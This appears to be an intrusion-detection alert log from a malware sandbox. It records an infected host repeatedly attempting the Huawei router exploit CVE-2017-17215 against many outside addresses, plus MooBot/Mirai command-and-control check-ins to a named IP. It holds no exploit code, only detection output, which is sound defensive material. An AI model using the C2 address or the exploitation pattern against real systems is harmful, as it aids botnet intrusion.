2024-08-01T15:35:20.209463+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48016	37215	192.168.2.14	197.76.83.220
2024-08-01T15:35:20.207542+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40138	37215	192.168.2.14	70.45.88.250
2024-08-01T15:36:51.588178+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33214	37215	192.168.2.14	197.5.181.195
2024-08-01T15:35:20.202631+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42200	37215	192.168.2.14	41.103.184.180
2024-08-01T15:36:00.310137+0200	TCP	2030490	ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	53858	56999	192.168.2.14	103.238.235.163
2024-08-01T15:36:20.372514+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48478	37215	192.168.2.14	157.2.149.103
2024-08-01T15:35:20.216422+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57916	37215	192.168.2.14	41.113.216.82
2024-08-01T15:35:20.575050+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34108	37215	192.168.2.14	125.247.115.64
2024-08-01T15:35:20.204339+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46584	37215	192.168.2.14	197.224.223.95
2024-08-01T15:35:20.214927+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49856	37215	192.168.2.14	157.181.223.139
2024-08-01T15:36:24.452633+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60808	37215	192.168.2.14	197.153.219.135
2024-08-01T15:35:20.545719+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60636	37215	192.168.2.14	157.168.51.50
2024-08-01T15:35:45.386003+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51036	37215	192.168.2.14	119.11.179.94
2024-08-01T15:35:20.203106+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34186	37215	192.168.2.14	41.193.128.149
2024-08-01T15:35:50.253804+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54044	37215	192.168.2.14	184.63.4.123
2024-08-01T15:35:21.886176+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35708	37215	192.168.2.14	41.217.127.50
2024-08-01T15:35:21.905746+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42882	37215	192.168.2.14	157.254.90.108
2024-08-01T15:35:17.058696+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54896	37215	192.168.2.14	157.121.169.87
2024-08-01T15:35:21.846564+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60678	37215	192.168.2.14	157.34.139.219
2024-08-01T15:36:48.378556+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35676	37215	192.168.2.14	41.231.50.4
2024-08-01T15:35:20.207456+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	32782	37215	192.168.2.14	157.36.160.152
2024-08-01T15:36:09.888679+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48020	37215	192.168.2.14	175.174.197.106
2024-08-01T15:35:53.373483+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40010	37215	192.168.2.14	157.229.212.43
2024-08-01T15:35:20.205281+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35982	37215	192.168.2.14	41.46.147.104
2024-08-01T15:35:21.882039+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54374	37215	192.168.2.14	197.185.178.240
2024-08-01T15:35:21.935552+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41320	37215	192.168.2.14	157.50.91.84
2024-08-01T15:36:24.466035+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43468	37215	192.168.2.14	41.219.37.153
2024-08-01T15:36:53.674046+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53584	37215	192.168.2.14	197.73.163.43
2024-08-01T15:35:50.304929+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41256	37215	192.168.2.14	157.188.228.81
2024-08-01T15:35:17.161414+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58020	37215	192.168.2.14	197.83.5.96
2024-08-01T15:36:55.995005+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42972	37215	192.168.2.14	157.246.139.66
2024-08-01T15:35:21.921909+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45490	37215	192.168.2.14	41.210.32.53
2024-08-01T15:35:20.202934+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44470	37215	192.168.2.14	157.111.86.94
2024-08-01T15:35:17.246179+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37504	37215	192.168.2.14	197.66.231.176
2024-08-01T15:35:17.131354+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52512	37215	192.168.2.14	197.43.214.179
2024-08-01T15:35:20.206776+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45412	37215	192.168.2.14	41.121.204.245
2024-08-01T15:36:46.403962+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44528	37215	192.168.2.14	197.84.14.118
2024-08-01T15:36:01.488686+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34778	37215	192.168.2.14	188.155.9.106
2024-08-01T15:35:20.545461+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34608	37215	192.168.2.14	157.94.115.44
2024-08-01T15:36:18.353483+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36796	37215	192.168.2.14	197.71.39.251
2024-08-01T15:35:20.209717+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49726	37215	192.168.2.14	197.86.199.8
2024-08-01T15:35:21.842087+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43764	37215	192.168.2.14	157.52.2.31
2024-08-01T15:35:16.399827+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40034	37215	192.168.2.14	41.37.124.216
2024-08-01T15:35:20.216451+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51886	37215	192.168.2.14	197.154.223.242
2024-08-01T15:35:20.210524+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55144	37215	192.168.2.14	157.179.229.76
2024-08-01T15:35:20.216279+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39006	37215	192.168.2.14	41.70.247.100
2024-08-01T15:36:09.890346+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58456	37215	192.168.2.14	157.64.58.109
2024-08-01T15:36:29.133663+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36154	37215	192.168.2.14	157.16.16.90
2024-08-01T15:35:21.868690+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57498	37215	192.168.2.14	135.28.2.66
2024-08-01T15:35:16.605525+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45316	37215	192.168.2.14	157.115.41.196
2024-08-01T15:35:20.209926+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34396	37215	192.168.2.14	41.242.194.188
2024-08-01T15:34:55.817631+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34740	37215	192.168.2.14	41.227.113.252
2024-08-01T15:36:22.454901+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56944	37215	192.168.2.14	41.75.193.217
2024-08-01T15:36:35.046960+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39472	37215	192.168.2.14	2.198.165.97
2024-08-01T15:36:39.403821+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42364	37215	192.168.2.14	105.79.174.226
2024-08-01T15:36:28.681684+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41046	37215	192.168.2.14	197.73.36.177
2024-08-01T15:35:50.270265+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33750	37215	192.168.2.14	48.238.249.106
2024-08-01T15:35:21.864517+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40632	37215	192.168.2.14	80.139.130.56
2024-08-01T15:36:01.488002+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44570	37215	192.168.2.14	41.255.96.139
2024-08-01T15:35:17.262387+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53626	37215	192.168.2.14	197.178.94.171
2024-08-01T15:36:09.885992+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45718	37215	192.168.2.14	197.23.150.86
2024-08-01T15:36:36.962834+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40516	37215	192.168.2.14	157.187.196.137
2024-08-01T15:35:20.545670+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55906	37215	192.168.2.14	197.212.133.243
2024-08-01T15:35:21.889461+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33556	37215	192.168.2.14	157.201.154.148
2024-08-01T15:36:09.887270+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58580	37215	192.168.2.14	197.108.157.107
2024-08-01T15:35:20.203962+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54052	37215	192.168.2.14	9.105.10.4
2024-08-01T15:35:20.207112+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38666	37215	192.168.2.14	197.90.214.116
2024-08-01T15:35:21.905877+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42048	37215	192.168.2.14	197.80.128.182
2024-08-01T15:36:16.992088+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51898	37215	192.168.2.14	70.44.124.149
2024-08-01T15:35:21.928770+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57940	37215	192.168.2.14	41.15.236.234
2024-08-01T15:35:20.203876+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37282	37215	192.168.2.14	89.158.201.188
2024-08-01T15:35:58.805720+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40624	37215	192.168.2.14	197.134.64.67
2024-08-01T15:35:50.268004+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56614	37215	192.168.2.14	157.89.152.188
2024-08-01T15:36:01.465490+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58608	37215	192.168.2.14	41.209.11.247
2024-08-01T15:35:28.720661+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55336	37215	192.168.2.14	197.52.237.133
2024-08-01T15:36:18.261427+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34060	37215	192.168.2.14	71.213.156.106
2024-08-01T15:36:32.807059+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53014	37215	192.168.2.14	157.208.25.228
2024-08-01T15:35:20.545629+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54406	37215	192.168.2.14	41.24.31.127
2024-08-01T15:35:33.098035+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51612	37215	192.168.2.14	41.109.157.140
2024-08-01T15:35:16.336766+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43508	37215	192.168.2.14	41.134.51.115
2024-08-01T15:36:06.682695+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35540	37215	192.168.2.14	197.147.91.88
2024-08-01T15:36:39.385151+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54680	37215	192.168.2.14	41.96.130.186
2024-08-01T15:35:16.435048+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45976	37215	192.168.2.14	41.205.131.121
2024-08-01T15:36:18.286158+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45776	37215	192.168.2.14	4.241.36.104
2024-08-01T15:35:20.210311+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46126	37215	192.168.2.14	157.196.129.192
2024-08-01T15:35:20.215050+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41150	37215	192.168.2.14	197.224.129.118
2024-08-01T15:36:36.982450+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60826	37215	192.168.2.14	157.39.200.158
2024-08-01T15:36:08.254482+0200	TCP	2030490	ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	56782	56999	192.168.2.14	103.238.235.163
2024-08-01T15:35:01.131962+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56702	37215	192.168.2.14	197.5.0.94
2024-08-01T15:35:20.209070+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39362	37215	192.168.2.14	197.115.108.30
2024-08-01T15:35:21.854404+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57064	37215	192.168.2.14	41.181.222.122
2024-08-01T15:36:01.466637+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38702	37215	192.168.2.14	149.251.96.185
2024-08-01T15:36:28.682827+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56922	37215	192.168.2.14	178.33.177.255
2024-08-01T15:35:17.112127+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52562	37215	192.168.2.14	197.245.144.135
2024-08-01T15:35:50.278572+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44414	37215	192.168.2.14	197.226.170.230
2024-08-01T15:36:24.446854+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37052	37215	192.168.2.14	41.59.99.70
2024-08-01T15:36:34.856822+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	32864	37215	192.168.2.14	75.223.4.127
2024-08-01T15:36:26.559174+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40578	37215	192.168.2.14	197.9.139.44
2024-08-01T15:36:06.933456+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54482	37215	192.168.2.14	157.92.216.107
2024-08-01T15:36:28.681803+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49774	37215	192.168.2.14	197.200.18.243
2024-08-01T15:35:20.216160+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56012	37215	192.168.2.14	46.203.164.151
2024-08-01T15:36:29.055721+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49480	37215	192.168.2.14	157.101.7.182
2024-08-01T15:35:25.960987+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41974	37215	192.168.2.14	197.115.151.122
2024-08-01T15:35:21.890690+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39718	37215	192.168.2.14	197.68.48.181
2024-08-01T15:35:20.207747+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53872	37215	192.168.2.14	41.150.3.88
2024-08-01T15:36:31.118837+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43942	37215	192.168.2.14	41.23.67.32
2024-08-01T15:36:09.884964+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45368	37215	192.168.2.14	41.111.15.209
2024-08-01T15:35:20.214829+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35330	37215	192.168.2.14	41.185.152.245
2024-08-01T15:34:57.900354+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45048	37215	192.168.2.14	188.157.140.238
2024-08-01T15:36:24.443782+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46298	37215	192.168.2.14	157.15.58.142
2024-08-01T15:34:59.785755+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44804	37215	192.168.2.14	197.128.51.138
2024-08-01T15:35:33.068532+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43852	37215	192.168.2.14	41.87.134.15
2024-08-01T15:35:28.717196+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58688	37215	192.168.2.14	41.158.104.201
2024-08-01T15:35:16.337483+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40756	37215	192.168.2.14	41.55.124.183
2024-08-01T15:35:21.918489+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57996	37215	192.168.2.14	41.135.159.193
2024-08-01T15:35:16.513211+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35338	37215	192.168.2.14	177.186.243.242
2024-08-01T15:35:16.248196+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44338	37215	192.168.2.14	2.138.219.53
2024-08-01T15:35:21.828358+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57064	37215	192.168.2.14	41.120.210.166
2024-08-01T15:36:20.433408+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33270	37215	192.168.2.14	51.135.146.219
2024-08-01T15:36:30.753332+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37130	37215	192.168.2.14	41.49.18.126
2024-08-01T15:36:09.842461+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59876	37215	192.168.2.14	197.224.17.147
2024-08-01T15:36:22.453910+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34544	37215	192.168.2.14	156.50.24.158
2024-08-01T15:36:24.699991+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60506	37215	192.168.2.14	41.235.186.62
2024-08-01T15:36:01.488690+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35640	37215	192.168.2.14	174.172.89.141
2024-08-01T15:36:06.683756+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35692	37215	192.168.2.14	157.8.87.53
2024-08-01T15:36:11.961781+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43916	37215	192.168.2.14	13.113.112.177
2024-08-01T15:36:15.134334+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60192	37215	192.168.2.14	157.87.248.238
2024-08-01T15:35:21.842984+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55130	37215	192.168.2.14	41.228.155.1
2024-08-01T15:36:16.183513+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35368	37215	192.168.2.14	157.206.221.199
2024-08-01T15:36:22.456814+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50000	37215	192.168.2.14	41.198.11.233
2024-08-01T15:35:02.608269+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34028	37215	192.168.2.14	125.161.255.108
2024-08-01T15:35:54.384077+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56370	37215	192.168.2.14	197.229.98.219
2024-08-01T15:36:14.808089+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47322	37215	192.168.2.14	41.111.43.190
2024-08-01T15:35:35.120265+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60616	37215	192.168.2.14	41.121.45.98
2024-08-01T15:36:01.671737+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40426	37215	192.168.2.14	36.70.144.223
2024-08-01T15:36:40.246257+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39108	37215	192.168.2.14	197.67.89.254
2024-08-01T15:35:37.241657+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58844	37215	192.168.2.14	41.38.106.89
2024-08-01T15:36:03.734554+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58790	37215	192.168.2.14	157.55.94.13
2024-08-01T15:36:18.263344+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51074	37215	192.168.2.14	197.252.240.149
2024-08-01T15:36:30.755617+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51658	37215	192.168.2.14	41.80.168.236
2024-08-01T15:35:20.210221+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33192	37215	192.168.2.14	41.135.240.219
2024-08-01T15:35:17.260720+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60348	37215	192.168.2.14	65.126.194.229
2024-08-01T15:35:53.373364+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56092	37215	192.168.2.14	197.108.210.219
2024-08-01T15:35:20.545666+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43312	37215	192.168.2.14	197.205.194.24
2024-08-01T15:36:11.901005+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40978	37215	192.168.2.14	45.248.182.96
2024-08-01T15:35:17.252757+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52904	37215	192.168.2.14	157.23.196.255
2024-08-01T15:36:48.393732+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48960	37215	192.168.2.14	150.141.17.84
2024-08-01T15:36:39.036657+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41524	37215	192.168.2.14	41.221.20.118
2024-08-01T15:35:20.210946+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39006	37215	192.168.2.14	157.202.20.92
2024-08-01T15:35:32.992491+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53060	37215	192.168.2.14	41.127.222.219
2024-08-01T15:36:09.889187+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39196	37215	192.168.2.14	49.153.59.14
2024-08-01T15:35:20.206399+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37286	37215	192.168.2.14	197.220.34.9
2024-08-01T15:36:22.373199+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45520	37215	192.168.2.14	197.149.77.161
2024-08-01T15:35:20.214874+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49460	37215	192.168.2.14	44.77.58.180
2024-08-01T15:35:21.907749+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52470	37215	192.168.2.14	157.79.109.3
2024-08-01T15:35:02.497413+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45270	37215	192.168.2.14	41.76.128.203
2024-08-01T15:35:43.276939+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34710	37215	192.168.2.14	197.89.144.214
2024-08-01T15:36:32.876944+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51088	37215	192.168.2.14	41.161.98.210
2024-08-01T15:34:58.055016+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58360	37215	192.168.2.14	44.107.91.32
2024-08-01T15:35:33.068517+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44332	37215	192.168.2.14	38.157.170.169
2024-08-01T15:35:20.202818+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47942	37215	192.168.2.14	41.34.162.72
2024-08-01T15:36:24.640549+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56510	37215	192.168.2.14	147.31.101.67
2024-08-01T15:36:09.889416+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56564	37215	192.168.2.14	157.33.124.92
2024-08-01T15:35:21.867617+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51034	37215	192.168.2.14	157.80.75.49
2024-08-01T15:36:01.488719+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49038	37215	192.168.2.14	83.157.69.115
2024-08-01T15:36:18.254018+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49166	37215	192.168.2.14	130.61.183.35
